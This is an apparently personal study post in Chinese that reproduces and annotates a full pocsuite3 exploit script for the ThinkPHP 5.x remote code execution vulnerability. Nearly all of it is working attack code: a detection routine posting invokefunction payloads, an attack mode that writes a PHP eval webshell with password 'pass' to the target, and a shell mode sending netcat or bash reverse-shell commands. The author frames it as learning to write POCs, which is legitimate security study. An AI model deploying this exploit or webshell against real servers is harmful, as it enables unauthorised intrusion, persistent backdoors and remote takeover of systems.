thinkphp_rce命令执行模板编写

  1. # -*- coding: utf-8 -*-
  2. # @Time : 2022/7/22 13:58
  3. # @Author : m0re
  4. # @Software : Pycharm
  5. from collections import OrderedDict
  6. from urllib.parse import quote
  7. from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, REVERSE_PAYLOAD, OptDict, VUL_TYPE
  8. from pocsuite3.lib.utils import random_str
  9. class DemoPOC(POCBase):
  10. vulID = '97715'
  11. version = '1.0'
  12. author = ['m0re']
  13. vulDate = '2022-7-22'
  14. createDate = '2022-7-22'
  15. updateDate = '2022-7-22'
  16. references = ['https://www.seebug.org/vuldb/ssvid-97715']
  17. name = 'ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)'
  18. appPowerLink = 'https://www.thinkphp.cn/'
  19. appName = 'thinkphp'
  20. appVersion = 'thinkphp5.1.31'
  21. vulType = VUL_TYPE.CODE_EXECUTION # 代码执行
  22. desc = '''ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新
  23. ,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。''' # https://blog.thinkphp.cn/869075
  24. samples = []
  25. category = POC_CATEGORY.EXPLOITS.WEBAPP # 分类为webapp
  26. pocDesc = '''攻击模式下将会生成一个一句话shell,成功返回shell地址,shell密码为pass''' # 这个POC可以实现什么功能,怎么利用?
  27. def _options(self):
  28. o = OrderedDict()
  29. payload = { # 两个反弹shell的payload先写下来
  30. "nc": REVERSE_PAYLOAD.NC, # NC的
  31. "bash": REVERSE_PAYLOAD.BASH, # bash的
  32. }
  33. o["command"] = OptDict(selected="bash", default=payload) # 自定义一个命令参数后面调用
  34. return o
  35. def _check(self, url):
  36. flag = 'Registered PHP Streams' # 特征(如果验证成功会返回什么样的特征)
  37. data = OrderedDict([ # 三个方法函数,这是thinkphp在此版本中可以利用RCE的payload中的方法
  38. ("function", "call_user_func_array"),
  39. ("vars[0]", "phpinfo"),
  40. ("vars[1][]", "-1")
  41. ])
  42. payloads = [
  43. r"/?s=admin/\think\app/invokefunction", # 同上,是payload中的一部分,只不过需要看实际情况分两部分,随机应变吧
  44. r"/admin.php?s=admin/\think\app/invokefunction",
  45. r"/index.php?s=admin/\think\app/invokefunction",
  46. r"/?s=index/\think\Container/invokefunction",
  47. r"/index.php?s=index/\think\Container/invokefunction",
  48. r"/index.php?s=index/\think\app/invokefunction"
  49. ]
  50. for payload in payloads: #遍历payload,逐个payload利用
  51. vul_url = url + payload
  52. r = requests.post(vul_url, data=data)
  53. if flag in r.text: # 找到攻击成功的payload
  54. return payload, dict(data)
  55. return False
  56. def _verify(self): # 验证模式
  57. result = {}
  58. p = self._check(self.url) # 得到payload
  59. if p: # 如果有可以打成功的payload,那就将信息保存下来
  60. result['VerifyInfo'] = {} # result['VerifyInfo']为定义的保存数据的集合
  61. result['VerifyInfo']['URL'] = p[0] # 上面payload的前半部分
  62. result['VerifyInfo']['Postdata'] = p[1] # payload后半部分
  63. return self.parse_output(result)
  64. def _attack(self): # 攻击模式(留下木马)
  65. result = {}
  66. filename = random_str(6) + ".php" # 木马的文件名,随机六位的文件名
  67. webshell = r'''<?php echo "green day";@eval($_POST["pass"]);?>''' # 一句话木马内容,"green day"是个特征
  68. p = self._check(self.url) # 得到payload
  69. if p:
  70. data = p[1]
  71. data["vars[1][]"] = "echo%20%27{content}%27%20>%20{filename}".format(filename=filename,
  72. content=quote(webshell)) # 写入木马
  73. data["vars[0]"] = "system"
  74. vulurl = self.url + p[0] # 漏洞地址为url+payload前半部分
  75. requests.post(vulurl, data=data) # 再次访问到漏洞地址,执行这个写入木马的命令
  76. r = requests.get(self.url + "/" + filename) # 访问木马
  77. if r.status_code == 200 and "green day" in r.text: # 如果这个木马页面存在(状态码==200)并且木马的特征(上面提到的green day)存在
  78. result['ShellInfo'] = {} # 返回webshell的信息
  79. result['ShellInfo']['URL'] = self.url + "/" + filename
  80. result['ShellInfo']['Content'] = webshell
  81. if not result:
  82. vulurl = self.url + r"/index.php?s=index/\think\template\driver\file/write&cacheFile={filename}&content={content}"
  83. vulurl = vulurl.format(filename=filename, content=quote(webshell))
  84. requests.get(vulurl)
  85. r = requests.get(self.url + "/" + filename)
  86. if r.status_code == 200 and "green day" in r.text:
  87. result['ShellInfo'] = {}
  88. result['ShellInfo']['URL'] = self.url + "/" + filename
  89. result['ShellInfo']['Content'] = webshell
  90. return self.parse_output(result)
  91. def _shell(self): # shell模式
  92. # cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
  93. cmd = self.get_option("command") # 直接调用自定义参数来执行命令
  94. p = self._check(self.url)
  95. if p: # 跟上面一样
  96. data = p[1]
  97. data["vars[0]"] = "system"
  98. data["vars[1][]"] = cmd
  99. vulurl = self.url + p[0]
  100. requests.post(vulurl, data=data)
  101. def parse_output(self, result): # 输出信息
  102. output = Output(self)
  103. if result: # 验证成功
  104. output.success(result)
  105. else: # 没有找到可用payload,那么这个地址不存在该漏洞,返回的信息
  106. output.fail('target is not vulnerable')
  107. return output
  108. register_poc(DemoPOC)

这个thinkphp的代码执行POC是pocsuite中自带的一个模板,我只是将整个POC解读了一下。大概理解了这个意思。等下次可以自行写个其他的POC。

记于<font style="color:#E8323C;">2022/7/22</font>